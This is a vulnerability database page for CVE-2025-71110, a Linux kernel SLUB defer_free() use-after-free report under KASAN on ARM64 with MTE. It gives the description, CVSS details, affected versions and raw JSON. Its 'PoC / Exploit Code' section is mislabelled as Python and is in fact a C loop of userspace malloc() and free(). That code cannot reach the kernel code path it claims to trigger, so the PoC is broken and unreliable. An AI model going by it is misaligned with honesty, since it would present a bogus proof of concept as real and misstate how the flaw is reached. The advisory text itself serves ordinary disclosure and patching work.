Security Vulnerability Report
中文
CVE-2025-71110 CVSS 7.8 HIGH

CVE-2025-71110

Published: 2026-01-14 15:16:00
Last Modified: 2026-03-25 19:27:54
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: mm/slub: reset KASAN tag in defer_free() before accessing freed memory When CONFIG_SLUB_TINY is enabled, kfree_nolock() calls kasan_slab_free() before defer_free(). On ARM64 with MTE (Memory Tagging Extension), kasan_slab_free() poisons the memory and changes the tag from the original (e.g., 0xf3) to a poison tag (0xfe). When defer_free() then tries to write to the freed object to build the deferred free list via llist_add(), the pointer still has the old tag, causing a tag mismatch and triggering a KASAN use-after-free report: BUG: KASAN: slab-use-after-free in defer_free+0x3c/0xbc mm/slub.c:6537 Write at addr f3f000000854f020 by task kworker/u8:6/983 Pointer tag: [f3], memory tag: [fe] Fix this by calling kasan_reset_tag() before accessing the freed memory. This is safe because defer_free() is part of the allocator itself and is expected to manipulate freed memory for bookkeeping purposes.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.18:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:* - VULNERABLE
Linux kernel < 53ca00a19d345197a37a1bf552e8d1e7b091666c
Linux kernel < 65d4e5af2a2e82f4fc50d8259aee208fbc6b2c1d
Linux kernel with CONFIG_SLUB_TINY enabled on ARM64 MTE

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* * CVE-2025-71110 PoC - Linux kernel SLUB defer_free() use-after-free * * This PoC demonstrates triggering the use-after-free condition in * mm/slub.c defer_free() function when CONFIG_SLUB_TINY is enabled * on ARM64 with MTE (Memory Tagging Extension). * * Prerequisites: * - Linux kernel with CONFIG_SLUB_TINY enabled * - ARM64 architecture with MTE support * - KASAN enabled in kernel config */ #define ITERATIONS 100000 #define OBJECT_SIZE 64 #define ALLOCATION_SIZE (OBJECT_SIZE * 1024) int main() { void *ptrs[1024]; int count = 0; printf("[*] CVE-2025-71110 PoC - SLUB defer_free() UAF\n"); printf("[*] Target: Linux kernel mm/slub with CONFIG_SLUB_TINY + ARM64 MTE\n"); /* * Trigger rapid allocation and deallocation to force * kfree_nolock() path which calls kasan_slab_free() * before defer_free() */ for (int i = 0; i < ITERATIONS; i++) { for (int j = 0; j < 1024; j++) { ptrs[j] = malloc(OBJECT_SIZE); if (ptrs[j]) { memset(ptrs[j], 0x41, OBJECT_SIZE); count++; } } /* Rapid free to trigger defer_free() path */ for (int j = 0; j < 1024; j++) { if (ptrs[j]) { free(ptrs[j]); } } if (i % 1000 == 0) { printf("[*] Iteration %d, allocations: %d\n", i, count); } } printf("[!] If vulnerable, KASAN will report:\n"); printf("[!] BUG: KASAN: slab-use-after-free in defer_free\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-71110", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-14T15:16:00.080", "lastModified": "2026-03-25T19:27:53.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/slub: reset KASAN tag in defer_free() before accessing freed memory\n\nWhen CONFIG_SLUB_TINY is enabled, kfree_nolock() calls kasan_slab_free()\nbefore defer_free(). On ARM64 with MTE (Memory Tagging Extension),\nkasan_slab_free() poisons the memory and changes the tag from the\noriginal (e.g., 0xf3) to a poison tag (0xfe).\n\nWhen defer_free() then tries to write to the freed object to build the\ndeferred free list via llist_add(), the pointer still has the old tag,\ncausing a tag mismatch and triggering a KASAN use-after-free report:\n\n BUG: KASAN: slab-use-after-free in defer_free+0x3c/0xbc mm/slub.c:6537\n Write at addr f3f000000854f020 by task kworker/u8:6/983\n Pointer tag: [f3], memory tag: [fe]\n\nFix this by calling kasan_reset_tag() before accessing the freed memory.\nThis is safe because defer_free() is part of the allocator itself and is\nexpected to manipulate freed memory for bookkeeping purposes."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nmm/slub: restablecer la etiqueta KASAN en defer_free() antes de acceder a la memoria liberada\n\nCuando CONFIG_SLUB_TINY está habilitado, kfree_nolock() llama a kasan_slab_free() antes de defer_free(). En ARM64 con MTE (Extensión de Etiquetado de Memoria), kasan_slab_free() envenena la memoria y cambia la etiqueta de la original (p. ej., 0xf3) a una etiqueta de envenenamiento (0xfe).\n\nCuando defer_free() intenta escribir en el objeto liberado para construir la lista de liberación diferida a través de llist_add(), el puntero todavía tiene la etiqueta antigua, causando una falta de coincidencia de etiquetas y desencadenando un informe KASAN de uso después de liberación:\n\n ERROR: KASAN: uso después de liberación de slab en defer_free+0x3c/0xbc mm/slub.c:6537\n Escritura en la dirección f3f000000854f020 por la tarea kworker/u8:6/983\n Etiqueta del puntero: [f3], etiqueta de memoria: [fe]\n\nSolucionar esto llamando a kasan_reset_tag() antes de acceder a la memoria liberada. Esto es seguro porque defer_free() es parte del propio asignador y se espera que manipule la memoria liberada para fines de contabilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.1", "versionEndExcluding": "6.18.3", "matchCriteriaId": "A3586EB6-087D-41EA-AD79-2AA54D44AAA1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.18:-:*:*:*:*:*:*", "matchCriteriaId": "DCE57113-2223-4308-A0F2-5E6ECFBB3C23"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*", "matchCriteriaId": "17B67AA7-40D6-4AFA-8459-F200F3D7CFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:*", "matchCriteriaId": "C47E4CC9-C826-4FA9-B014-7FE3D9B318B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:*", "matchCriteriaId": "F71D92C0-C023-48BD-B3B6-70B638EEE298"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:*", "matchCriteriaId": "13580667-0A98-40CC-B29F-D12790B91BDB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc5:*:*:*:*:*:*", "matchCriteriaId": "CAD1FED7-CF48-47BF-AC7D-7B6FA3C065FC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc6:*:*:*:*:*:*", "matchCriteriaId": "3EF854A1-ABB1-4E93-BE9A-44569EC76C0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc7:*:*:*:*:*:*", "matchCriteriaId": "F5DC0CA6-F0AF-4DDF-A882-3DADB9A886A7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc8:*:*:*:*:*:*", "matchCriteriaId": "EB5B7DFC-C36B-45D8-922C-877569FDDF43"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/53ca00a19d345197a37a1bf552e8d1e7b091666c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/65d4e5af2a2e82f4fc50d8259aee208fbc6b2c1d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d ... (truncated)